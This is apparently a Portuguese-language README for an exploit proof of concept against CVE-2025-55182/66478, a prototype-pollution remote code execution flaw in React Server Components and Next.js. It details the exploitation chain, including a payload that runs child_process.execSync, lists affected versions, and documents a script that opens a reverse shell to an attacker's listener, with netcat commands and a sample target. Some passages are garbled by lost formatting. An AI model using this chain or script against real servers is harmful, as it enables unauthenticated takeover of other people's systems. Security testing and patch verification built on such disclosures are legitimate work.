
Prova de conceito de exploit para CVE-2025-55182/66478, uma RCE por desserialização de React Server Components, que entrega uma reverse shell por meio de uma requisição multipart elaborada.
Prova de conceito de exploração para CVE-2025-55182 — apelidada publicamente de
"React2Shell" — uma vulnerabilidade de poluição de protótipo no lado do servidor
na desserialização de Server Actions dos React Server Components
(react-server-dom-webpack / -parcel / -turbopack), que o Next.js
rastreou sob o ID CVE-2025-66478 (rejeitada pela NVD como duplicada,
mas ainda assim o identificador comumente usado ao discutir o impacto do bug
especificamente no Next.js).
Uma única requisição HTTP multipart elaborada polui Object.prototype e
percorre a cadeia de protótipos até alcançar o construtor Function, permitindo
que um atacante não autenticado execute código Node.js arbitrário no processo
do servidor — CVSS 10/10.
Causa raiz. O desserializador de resposta de ação do RSC (requireModule)
resolve caminhos de objetos enviados pelo cliente (ex.: "$1:__proto__:then")
sem validar se a chave alvo não é uma chave reservada/perigosa
como __proto__. Definir __proto__ em um objeto simples polui
o próprio Object.prototype, então todo objeto criado posteriormente herda
a propriedade controlada pelo atacante.
Cadeia de exploração.
then → "$1:__proto__:then" — alcança a cadeia de protótipos._response._formData.get → "$1:constructor:constructor" — percorre
do protótipo poluído até o construtor Function._response._prefix — string controlada pelo atacante, inserida no código
que é executado quando o servidor tenta resolver o "thenable" fabricado
(um objeto falso semelhante a Promise). Este PoC a define como
process.mainModule.require('child_process').execSync('<cmd>').0, 1) em um
POST para a raiz do aplicativo com um cabeçalho Next-Action, que roteia
a requisição diretamente para o manipulador vulnerável de Server Actions.Versões afetadas (conforme o artigo da Datadog):
| Biblioteca | Vulnerável | Corrigida |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
O Next.js é afetado nas versões 15.x, 16.x e 14.3.0-canary.77+ ao usar o App Router. Corrigido nas versões 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 e 16.0.7.
Apenas para testes de segurança autorizados e uso educacional (ex.: laboratórios CTF/HTB, sua própria infraestrutura ou engajamentos com autorização por escrito). Não execute isso contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
curlbashnc -lvnp <porta>) a menos que você
forneça seu próprio comando via -cbusybox nc (ou ajuste -c para qualquer utilitário de shell
disponível no alvo) para que o comando padrão de reverse shell funcionechmod +x exploit.sh
./exploit.sh -t <alvo> -L <porta_local> [opções]
| Flag | Obrigatório | Descrição |
|---|---|---|
-t, --target | sim | Host/IP do alvo executando o aplicativo Next.js vulnerável |
-L, --lport | sim* | Porta local à qual seu listener está vinculado |
-p, --port | não | Porta do alvo (padrão: 3000) |
-l, --lhost | não | Seu IP para o callback (padrão: detectado automaticamente) |
-i, --iface | não | Interface para detectar automaticamente o --lhost |
-c, --command | não | Comando personalizado para executar no alvo (substitui o reverse shell padrão) |
--timeout | não | Tempo limite da requisição curl em segundos (padrão: 3) |
-v, --verbose | não | Exibe detalhes da requisição/resposta |
-h, --help | não | Mostra a ajuda |
* não obrigatório se -c/--command for fornecido em seu lugar.
# 1) inicie um listener
rlwrap nc -lvnp 9090
# 2) acione o exploit
./exploit.sh -t 10.129.245.214 -L 9090